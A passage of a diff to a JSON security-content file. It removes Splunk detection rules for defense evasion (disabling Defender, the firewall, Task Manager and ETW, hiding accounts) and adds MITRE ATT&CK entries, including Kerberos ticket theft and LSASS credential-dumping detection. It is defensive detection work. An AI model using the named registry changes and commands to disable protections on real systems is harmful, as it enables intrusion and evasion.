"endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] + "Source": "TermDD" + }, + "condition": "selection" + }, + [ + { + "Event ID": null, + "Event Name": "Application logs" + }, + { + "Event ID": null, + "Event Name": "Packet capture" + }, + { + "Event ID": null, + "Event Name": "Web logs" + }, + { + "Event ID": null, + "Event Name": "Web application firewall logs" + } + ], + [ + { + "Event ID": null, + "Event Name": "Application logs" + }, + { + "Event ID": null, + "Event Name": "Packet capture" + }, + { + "Event ID": null, + "Event Name": "Web logs" + }, + { + "Event ID": null, + "Event Name": "Web application firewall logs" } + ] + ], + "external_reference": [ + [ + "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + ], + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2894", + "https://twitter.com/pyn3rd/status/1020620932967223296", + "https://github.com/LandGrey/CVE-2018-2894", + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://github.com/Ekultek/BlueKeep", + "http://blogs.cisco.com/security/talos/threat-spotlight-group-72", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", + "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + ], + "controls": [], + "x_mitre_network_requirements": false, + "technique_id": "T1190", + "stix": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c" + }, + { + "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", + "name": "Steal or Forge Kerberos Tickets", + "created": "2020-02-11T19:12:46.830Z", + "modified": "2024-03-01T16:58:02.395Z", + "type": "attack-pattern", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Logon Session: Logon Session Metadata", + "Active Directory: Active Directory Credential Request", + "File: File Access" + ], + "x_mitre_contributors": [ + "Tim (Wadhwa-)Brown", + "Cody Thomas, SpecterOps" + ], + "x_mitre_impact_type": [], + "x_mitre_deprecated": false, + "x_mitre_effective_permissions": [], + "x_mitre_remote_support": false, + "x_mitre_permissions_required": [], + "x_mitre_is_subtechnique": false, + "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.\n\nMonitor for unusual processes accessing\u00a0secrets.ldb and .secrets.mkey located in /var/lib/sss/secrets/.", + "x_mitre_defense_bypassed": [], + "x_mitre_system_requirements": [ + "Kerberos authentication enabled" + ], + "x_mitre_attack_spec_version": "3.2.0", + "revoked": false, + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558", + "external_id": "T1558", + "description": "" }, { - "name": "Disabling Defender Services", - "description": "The following analytic detects the disabling of Windows Defender services by monitoring registry modifications. It leverages registry event data to identify changes to specific registry paths associated with Defender services, where the 'Start' value is set to '0x00000004'. This activity is significant because disabling Defender services can indicate an attempt by an adversary to evade detection and maintain persistence on the endpoint. If confirmed malicious, this action could allow attackers to execute further malicious activities undetected, leading to potential data breaches or system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\System\\\\CurrentControlSet\\\\Services\\\\*\" AND (Registry.registry_path IN(\"*WdBoot*\", \"*WdFilter*\", \"*WdNisDrv*\", \"*WdNisSvc*\",\"*WinDefend*\", \"*SecurityHealthService*\")) AND Registry.registry_value_name = Start Registry.registry_value_data = 0x00000004) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_defender_services_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "RedLine Stealer", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "CERT-EU Golden Ticket Protection", + "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", + "external_id": "", + "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017." }, { - "name": "Disabling Firewall with Netsh", - "description": "The following analytic identifies the disabling of the firewall using the netsh application. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that include keywords like \"firewall,\" \"off,\" or \"disable.\" This activity is significant because disabling the firewall can expose the system to external threats, allowing malware to communicate with its command and control (C2) server. If confirmed malicious, this action could lead to unauthorized data exfiltration, further malware downloads, and broader network compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_netsh` Processes.process= \"*firewall*\" (Processes.process= \"*off*\" OR Processes.process= \"*disable*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_firewall_with_netsh_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Firewall was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", + "external_id": "", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018." }, { - "name": "Disabling FolderOptions Windows Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Folder Options feature, which prevents users from showing hidden files and file extensions. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions\" with a value of \"0x00000001\". This activity is significant as it is commonly used by malware to conceal malicious files and deceive users with fake file extensions. If confirmed malicious, this could allow an attacker to hide their presence and malicious files, making detection and remediation more difficult.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoFolderOptions\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_folderoptions_windows_feature_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Folder Options, to hide files, was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "source_name": "Kekeo", + "url": "https://github.com/gentilkiwi/kekeo", + "external_id": "", + "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021." }, { - "name": "Disabling NoRun Windows App", - "description": "The following analytic detects the modification of the Windows registry to disable the Run application in the Start menu. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" with a value of \"0x00000001\". This activity is significant because the Run application is a useful shortcut for executing known applications and scripts. If confirmed malicious, this action could hinder system cleaning efforts and make it more difficult to run essential tools, thereby aiding malware persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_norun_windows_app_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows registry was modified to disable run application in window start menu on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Disabling Task Manager", - "description": "The following analytic identifies modifications to the Windows registry that disable Task Manager. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableTaskMgr\" with a value of \"0x00000001\". This activity is significant as it is commonly associated with malware such as RATs, Trojans, and worms, which disable Task Manager to prevent users from terminating malicious processes. If confirmed malicious, this could allow attackers to maintain persistence and control over the infected system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableTaskMgr\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_task_manager_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Task Manager was disabled on $dest$ by $user$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "ETW Registry Disabled", - "description": "The following analytic detects a registry modification that disables the Event Tracing for Windows (ETW) feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the ETWEnabled registry value under the .NETFramework path. This activity is significant because disabling ETW can allow attackers to evade Endpoint Detection and Response (EDR) tools and hide their execution from audit logs. If confirmed malicious, this action could enable attackers to operate undetected, potentially leading to further compromise and persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework*\" Registry.registry_value_name = ETWEnabled Registry.registry_value_data=0x00000000) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `etw_registry_disabled_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.006", - "mitre_attack_technique": "Indicator Blocking", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT41", - "APT5" - ] - }, - { - "mitre_attack_id": "T1127", - "mitre_attack_technique": "Trusted Developer Utilities Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Excessive number of service control start as disabled", - "description": "The following analytic detects an excessive number of `sc.exe` processes launched with the command line argument `start= disabled` within a short period. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line executions, and process GUIDs. This activity is significant as it may indicate an attempt to disable critical services, potentially impairing system defenses. If confirmed malicious, this behavior could allow an attacker to disrupt security mechanisms, hinder incident response, and maintain control over the compromised system.", - "search": "| tstats `security_content_summariesonly` distinct_count(Processes.process) as distinct_cmdlines values(Processes.process_id) as process_ids min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes WHERE Processes.process_name = \"sc.exe\" AND Processes.process=\"*start= disabled*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_id, _time span=30m | where distinct_cmdlines >= 8 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_number_of_service_control_start_as_disabled_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An excessive amount of $process_name$ was executed on $dest$ attempting to disable services.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Excessive Usage Of Taskkill", - "description": "The following analytic identifies excessive usage of `taskkill.exe`, a command-line utility used to terminate processes. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on instances where `taskkill.exe` is executed ten or more times within a one-minute span. This behavior is significant as adversaries often use `taskkill.exe` to disable security tools or other critical processes to evade detection. If confirmed malicious, this activity could allow attackers to bypass security defenses, maintain persistence, and further compromise the system.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"taskkill.exe\" by Processes.parent_process_name Processes.process_name Processes.dest Processes.user _time span=1m | where count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_taskkill_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "CISA AA22-264A", - "CISA AA22-277A", - "NjRAT", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process", - "Attacker" - ] - } - ], - "message": "Excessive usage of taskkill.exe with process id $process_id$ (more than 10 within 1m) has been detected on $dest$ with a parent process of $parent_process_name$.", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Firewall Allowed Program Enable", - "description": "The following analytic detects the modification of a firewall rule to allow the execution of a specific application. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events with command-line arguments related to firewall rule changes. This activity is significant as it may indicate an attempt to bypass firewall restrictions, potentially allowing unauthorized applications to communicate over the network. If confirmed malicious, this could enable an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the target environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*firewall*\" Processes.process = \"*allow*\" Processes.process = \"*add*\" Processes.process = \"*ENABLE*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `firewall_allowed_program_enable_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "BlackByte Ransomware", - "NjRAT", - "PlugX", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "firewall allowed program commandline $process$ of $process_name$ on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.004", - "mitre_attack_technique": "Disable or Modify System Firewall", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT38", - "Carbanak", - "Dragonfly", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "Rocke", - "TeamTNT", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Hide User Account From Sign-In Screen", - "description": "The following analytic detects a suspicious registry modification that hides a user account from the Windows Login screen. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist*\" with a value of \"0x00000000\". This activity is significant as it may indicate an adversary attempting to create a hidden admin account to avoid detection and maintain persistence on the compromised machine. If confirmed malicious, this could allow the attacker to maintain undetected access and control over the system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist*\" AND Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `hide_user_account_from_sign_in_screen_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Warzone RAT", - "Windows Registry Abuse", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "registry_value_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious registry modification ($registry_value_name$) which is used go hide a user account on the Windows Login screen detected on $dest$ executed by $user$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Linux Impair Defenses Process Kill", - "description": "The following analytic identifies the execution of the 'pkill' command, which is used to terminate processes on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant because threat actors often use 'pkill' to disable security defenses or terminate critical processes, facilitating further malicious actions. If confirmed malicious, this behavior could lead to the disruption of security applications, enabling attackers to evade detection and potentially corrupt or destroy files on the targeted system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN ( \"pgrep\", \"pkill\") Processes.process = \"*pkill *\" by Processes.dest Processes.user Processes.parent_process_name 